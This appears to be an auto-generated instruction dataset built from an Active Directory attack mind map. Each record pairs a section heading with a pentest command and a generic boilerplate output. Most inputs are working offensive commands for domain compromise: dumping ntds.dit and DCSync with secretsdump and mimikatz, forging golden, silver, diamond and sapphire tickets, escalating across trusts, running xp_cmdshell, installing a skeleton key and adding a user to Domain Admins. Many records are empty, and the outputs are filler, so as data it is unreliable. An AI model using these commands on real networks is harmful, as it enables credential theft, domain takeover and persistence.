Instruction: Certificate (pfx)

Input: Pass the certificate

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: pkinit

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: gettgtpkinit.py -cert-pfx "<pfx_file>" ^[-pfx-pass  "<cert-password>"] "<fqdn_domain>/<user>" "<tgt_ccache_file>"

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: Rubeus.exe asktgt /user:"<username>" /certificate:"<pfx_file>" [/password:"<certificate_password>"] /domain:"<fqdn-domain>" /dc:"<dc>" /show

Output: Tool or command referenced under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: certipy auth -pfx <crt_file> -dc-ip <dc_ip>

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: schannel

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: certipy auth -pfx <pfx_file> -ldap-shell

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: Set RBCD

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: certipy cert -pfx "<pfx_file>" -nokey -out "user.crt"

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: certipy cert -pfx "<pfx_file>" -nocert -out "user.key"

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: Certificate (pfx)

Input: passthecert.py -action ldap-shell -crt <user.crt> -key <user.key> -domain <domain> -dc-ip <dc_ip>

Output: Note or procedural step under 'Certificate (pfx)'.


Instruction: MSSQL

Input: find mssql access

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: nxc mssql <ip> -u <user> -p <password> -d <domain>

Output: NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes.


Instruction: MSSQL

Input: Users or Computers with SQL admin

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: MATCH p=(u:Base)-[:SQLAdmin]->(c:Computer) RETURN p

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: MSSQL

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: mssqlclient.py -windows-auth <domain>/<user>:<password>@<ip>

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: xp_cmdshell <cmd>

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: exec_as_user <user>

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: exec_as_login <login>

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: xp_dir_tree <ip>

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: COERCE SMB

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Input: trustlink

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Output: Note or procedural step under 'MSSQL'.


Instruction: MSSQL

Output: Note or procedural step under 'MSSQL'.


Instruction: Domain Admin

Input: Dump ntds.dit

Output: Note or procedural step under 'Domain Admin'.


Instruction: Domain Admin

Input: nxc smb <dcip> -u <user> -p <password> -d <domain> --ntds

Output: NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes.


Instruction: Domain Admin

Input: secretsdump.py '<domain>/<user>:<pass>'@<ip>

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Domain Admin

Input: ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q

Output: Note or procedural step under 'Domain Admin'.


Instruction: Domain Admin

Input: secretsdump.py -ntds ntds_file.dit -system SYSTEM_FILE -hashes lmhash:nthash LOCAL -outputfile ntlm-extract

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Domain Admin

Input: msf> windows/gather/credentials/domain_hashdump

Output: Tool or command referenced under 'Domain Admin'.


Instruction: Domain Admin

Input: mimikatz lsadump::dcsync /domain:<target_domain> /user:<target_domain>\administrator

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Domain Admin

Input: certsync -u <user> -p '<password>' -d <domain> -dc-ip <dc_ip> -ns <name_server>

Output: Note or procedural step under 'Domain Admin'.


Instruction: Grab backup Keys

Input: donpapi collect - H ':<hash>' <domain>/<user>@<ip_range> -t ALL --fetch-pvk #Credentials

Output: Note or procedural step under 'Grab backup Keys'.


Instruction: Enumeration

Input: nltest.exe /trusted_domains

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: Get-DomainTrust -Domain <domain>

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: Get-DomainTrustMapping

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: ldeep ldap -u <user> -p <password> -d <domain> -s ldap://<dc_ip> trusts

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: sharphound.exe -c trusts -d <domain>

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: MATCH p=(:Domain)-[:TrustedBy]->(:Domain) RETURN p

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: Get Domains SID

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: Get-DomainSID -Domain <domain> Get-DomainSID -Domain <target_domain>

Output: Note or procedural step under 'Enumeration'.


Instruction: Enumeration

Input: lookupsid.py -domain-sids <domain>/<user>:<password>'@<dc> 0 lookupsid.py -domain-sids <domain>/<user>:<password>'@<target_dc> 0

Output: Note or procedural step under 'Enumeration'.


Instruction: Child->Parent

Input: Trust Key

Output: Note or procedural step under 'Child->Parent'.


Instruction: Child->Parent

Input: mimikatz lsadump::trust /patch

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Child->Parent

Input: mimikatz kerberos::golden /user:Administrator /domain:<domain> /sid:<domain_sid> /aes256:<trust_key_aes256> /sids:<target_domain_sid>-519 /service:krbtgt /target:<target_domain> /ptt

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Child->Parent

Input: secretsdump.py -just-dc-user '<parent_domain>$'   <domain>/<user>:<password>@<dc_ip>

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Child->Parent

Input: ticketer.py -nthash <trust_key> -domain-sid <child_sid> -domain <child_domain> -extra-sid <parent_sid>-519 -spn krbtgt/<parent_domain> trustfakeuser

Output: Note or procedural step under 'Child->Parent'.


Instruction: Child->Parent

Input: Golden Ticket

Output: Note or procedural step under 'Child->Parent'.


Instruction: Child->Parent

Input: mimikatz lsadump::dcsync /domain:<domain> /user:<domain>\krbtgt

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Child->Parent

Input: mimikatz kerberos::golden /user:Administrator /krbtgt:<HASH_KRBTGT> /domain:<domain> /sid:<user_sid> /sids:<RootDomainSID-519> /ptt

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Child->Parent

Input: raiseChild.py <child_domain>/<user>:<password>

Output: Note or procedural step under 'Child->Parent'.


Instruction: Child->Parent

Input: ticketer.py -nthash <child_krbtgt_hash> -domain-sid <child_sid> -domain <child_domain> -extra-sid <parent_sid>-519 goldenuser

Output: Note or procedural step under 'Child->Parent'.


Instruction: Child->Parent

Input: Unconstrained delegation

Output: Note or procedural step under 'Child->Parent'.


Instruction: Child->Parent

Input: coerce parent_dc on child_dc domain #unconstrained delegation

Output: Note or procedural step under 'Child->Parent'.


Instruction: Parent->Child

Input: same as Child to parent

Output: Note or procedural step under 'Parent->Child'.


Instruction: External Trust

Input: DomainA <--> DomainB trust (B trust A, A trust B)

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: from A to B FOREST_TRANSITIVE

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: password reuse

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: lat move (creds/pth/...)

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: Foreign group and users

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: Users with foreign Domain Group Membership

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: MATCH p=(n:User {domain:"<DOMAIN.FQDN>"})-[:MemberOf]->(m:Group) WHERE m.domain<>n.domain RETURN p

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: Group with foreign Domain Group Membership

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: MATCH p=(n:Group {domain:"<DOMAIN.FQDN>"})-[:MemberOf]->(m:Group) WHERE m.domain<>n.domain RETURN p

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: SID History on B

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: Golden ticket

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: mimikatz lsadump::dcsync /domain:<domain> /user:<domain>\krbtgt

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: External Trust

Input: mimikatz kerberos::golden /user:Administrator /krbtgt:<HASH_KRBTGT> /domain:<domain> /sid:<user_sid> /sids:<RootDomainSID>-<GROUP_SID_SUP_1000> /ptt

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: External Trust

Input: ticketer.py -nthash <krbtgt> -domain-sid <domain_a> -domain <domain_a> -extra-sid <domain_b_sid>-<group_sid sup 1000> fakeuser

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: Trust ticket

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: ADCS abuse

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: Unconstrained delegation

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: coerce dc_b on dc_a #Uncontrained Delegation (ADCS)

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: from A to B is FOREST_TRANSITIVE|TREAT_AS_EXTERNAL

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: DomainA <-- DomainB trust (B trust A / A access B)

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: Same as double trust, but no unconstrained delegation as B can't connect to A

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: DomainA --> DomainB trust (A trust B / B access A)

Output: Note or procedural step under 'External Trust'.


Instruction: External Trust

Input: password reuse #lat move (creds/pth/...)

Output: Note or procedural step under 'External Trust'.


Instruction: Mssql links

Input: MSSQL trusted links doesn't care of trust link

Output: Note or procedural step under 'Mssql links'.


Instruction: Mssql links

Input: Get-SQLServerLinkCrawl -username <user> -password <pass> -Verbose -Instance <sql_instance>

Output: Note or procedural step under 'Mssql links'.


Instruction: Mssql links

Input: mssqlclient.py -windows-auth <domain>/<user>:<password>@<ip>

Output: Note or procedural step under 'Mssql links'.


Instruction: Mssql links

Input: trustlink

Output: Note or procedural step under 'Mssql links'.


Instruction: Mssql links

Output: Note or procedural step under 'Mssql links'.


Instruction: Mssql links

Output: Note or procedural step under 'Mssql links'.


Instruction: ADD DA

Input: net group "domain admins" myuser /add /domain

Output: Note or procedural step under 'ADD DA'.


Instruction: Golden Ticket

Input: ticketer.py -aesKey <aeskey> -domain-sid <domain_sid> -domain <domain> <anyuser>

Output: Note or procedural step under 'Golden Ticket'.


Instruction: Golden Ticket

Input: mimikatz "kerberos::golden /user:<admin_user> /domain:<domain> /sid:<domain-sid>/aes256:<krbtgt_aes256> /ptt"

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Silver Ticket

Input: mimikatz "kerberos::golden /sid:<current_user_sid> /domain:<domain-sid> /target:<target_server> /service:<target_service> /aes256:<computer_aes256_key> /user:<any_user> /ptt"

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Silver Ticket

Input: ticketer.py -nthash <machine_nt_hash> -domain-sid <domain_sid> -domain <domain> <anyuser>

Output: Note or procedural step under 'Silver Ticket'.


Instruction: Silver Ticket

Input: Directory Service Restore Mode (DSRM)\

Output: Note or procedural step under 'Silver Ticket'.


Instruction: Silver Ticket

Input: PowerShell New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

Output: Note or procedural step under 'Silver Ticket'.


Instruction: Skeleton Key

Input: mimikatz "privilege::debug" "misc::skeleton" "exit" #password is mimikatz

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Custom SSP

Input: mimikatz "privilege::debug" "misc::memssp" "exit"

Output: Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints.


Instruction: Custom SSP

Output: Note or procedural step under 'Custom SSP'.


Instruction: Golden certificate

Input: certipy ca -backup -ca '<ca_name>' -username <user>@<domain> -hashes <hash>

Output: Note or procedural step under 'Golden certificate'.


Instruction: Golden certificate

Input: certipy forge -ca-pfx <ca_private_key> -upn <user>@<domain> -subject 'CN=<user>,CN=Users,DC=<CORP>,DC=<LOCAL>

Output: Note or procedural step under 'Golden certificate'.


Instruction: Diamond ticket

Input: ticketer.py -request -domain <domain> -user <user> -password <password> -nthash <hash> -aesKey <aeskey> -domain-sid <domain_sid>  -user-id <user_id> -groups '512,513,518,519,520' <anyuser>

Output: Note or procedural step under 'Diamond ticket'.


Instruction: Saphire Ticket

Input: ticketer.py -request -impersonate <anyuser> -domain <domain> -user <user> -password <password>  -nthash <hash> -aesKey <aeskey> -domain-sid <domain_sid>  'ignored'

Output: Note or procedural step under 'Saphire Ticket'.


Instruction: Mind map reference

Input: CyberDefence Active Directory Mind Map:

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Input: Scan Network

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Find DC IP

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Zone Transfer

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Anonymous & Guest access on SMB shares

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Enumerate LDAP:

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Input: Enumerate Users:

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Input: Bruteforce users:

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Input: Poisoning:

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Input: Coerce:

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Input: Unauthenticated PetitPotam (CVE-2022-26925)

Output: Reference to a known vulnerability or exploit; consult vendor advisories, patches, and mitigations.


Instruction: Mind map reference

Input: PXE:

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Input: no password

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: password protected

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: TimeRoasting:

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Input: Quick Compromise:

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Input: Zerologon (unsafe) CVE-2020-1472:

Output: Reference to a known vulnerability or exploit; consult vendor advisories, patches, and mitigations.


Instruction: Mind map reference

Input: Eternal Blue MS17-010:

Output: Reference to a known vulnerability or exploit; consult vendor advisories, patches, and mitigations.


Instruction: Mind map reference

Input: Tomcat/Jboss Manager:

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Input: Java RMI:

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Input: Java Serialiszed port:

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Input: Database:

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Input: Exchange:

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Input: Veeam:

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Input: GLPI:

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Input: Weak websites / services:

Output: Category or heading in the mind map indicating a class of techniques (not a specific command).


Instruction: Mind map reference

Input: Valid user (no password)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Password Spray

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: ASREPRoast

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Blind Kerberoasting

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Man in The Middle (Listen and Relay)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Listen

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: NTLM relay

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: To LDAP(S)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: To SMB

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: TO HTTP

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: To MsSQL

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: SMB -> NETLOGON

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: SMB -> SMB

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: SMB -> LDAP(S)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Crack Hash

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: LM (299bd128c1101fd6)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: NT (b4b9b02e6f09a9bd760...)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: NTLMv1 (user::85D5BC...)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: NTLMv2 (user::N46iSNek...)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Kerberos 5 TGS ($krb5tgs$23$...)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Kerberos 5 TGS AES128

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Kerberos ASREP ($krb5asrep$23...)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: MSCache 2 (very slow)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: pxe hash ($sccm$aes128$...)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Valid Credentials (Cleartext creds, nt hash, kerberos ticket)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Classic Enumeration (users, shares, ACL, delegation, ...)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Enumerate ADCS

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Enumerate SCCM

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Scan Auto

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Kerberoasting

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Coerce

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Intra ID Connect

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Can Connect to a computer

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Exploit

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Low access (Privilege escalation)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Bypass Applocker

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: UAC bypass

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Auto Enum

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Search files

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Exploit

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Kerberos Relay

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: From Service account (SEImpersonate)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Know vulnerabilities authenticated

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Output: Reference to a known vulnerability or exploit; consult vendor advisories, patches, and mitigations.


Instruction: Mind map reference

Input: GPP MS14-025

Output: Reference to a known vulnerability or exploit; consult vendor advisories, patches, and mitigations.


Instruction: Mind map reference

Input: PrivExchange (CVE-2019-0724, CVE-2019-0686)

Output: Reference to a known vulnerability or exploit; consult vendor advisories, patches, and mitigations.


Instruction: Mind map reference

Input: noPac (CVE-2021-42287, CVE-2021-42278)

Output: Reference to a known vulnerability or exploit; consult vendor advisories, patches, and mitigations.


Instruction: Mind map reference

Input: PrintNightmare (CVE-2021-1675, CVE-2021-34527)

Output: Reference to a known vulnerability or exploit; consult vendor advisories, patches, and mitigations.


Instruction: Mind map reference

Input: Certifried (CVE-2022-26923)

Output: Reference to a known vulnerability or exploit; consult vendor advisories, patches, and mitigations.


Instruction: Mind map reference

Input: ProxyNotShell (CVE-2022-41040, CVE-2022-41082)

Output: Reference to a known vulnerability or exploit; consult vendor advisories, patches, and mitigations.


Instruction: Mind map reference

Input: Dcsync

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Can change msDS-KeyCredentialLInk (Generic Write) + ADCS

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: On Group

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: On Computer

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: On User

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: On OU

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: ReadGMSAPassword

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Get LAPS passwords

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: GPO

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: DNS Admin

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Kerberos Delegation

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Find delegation

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Constrained delegation

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Resource-Based Constrained Delegation

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: S4U2self abuse

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: ADCS

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Enumeration

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Web Enrollment Is Up

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Misconfigured Certificate Template

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Misconfigured ACL

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Vulnerable PKI Object access control

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Misconfigured Certificate Authority

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Abuse Certificate Mapping

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: SCCM

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: recon

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Creds-1 No credentials

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: PXE

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Elevate-1:Relay on site systems Simple user

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Elevate-2:Force client push Simple user

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Elevate-3:Automatic client push Simple user

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: CRED-6 Loot creds

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Takeover-1:relay to mssql db Simple user

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Takeover-2:relay to mssql server Simple user

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Creds-2:Policy Request Credentials Simple user

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Creds-3Creds-4 Computer Admin user

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Creds-5 SCCM admin

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Cleanup

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Post exploit

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Admin access

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Extract credentials from SAM

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Extract credentials from LSA

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Extract credentials from DPAPI

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Misc

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Lateral Move

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Clear text Password

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: NT Hash

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Kerberos

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Socks (relay)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Certificate (pfx)

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Domain Admin

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Grab backup Keys

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Trusts

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Enumeration

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Child->Parent

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Parent->Child

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: External Trust

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Mssql links

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Persistence

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: ADD DA

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Silver Ticket

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Skeleton Key

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: Custom SSP

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Diamond ticket

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: Saphire Ticket

Output: Section heading from the mind map, representing a phase or grouping.


Instruction: Mind map reference

Input: DC shadow

Output: Reference or note from the mind map without a specific command.


Instruction: Mind map reference

Input: ACL manipulation

Output: Reference or note from the mind map without a specific command.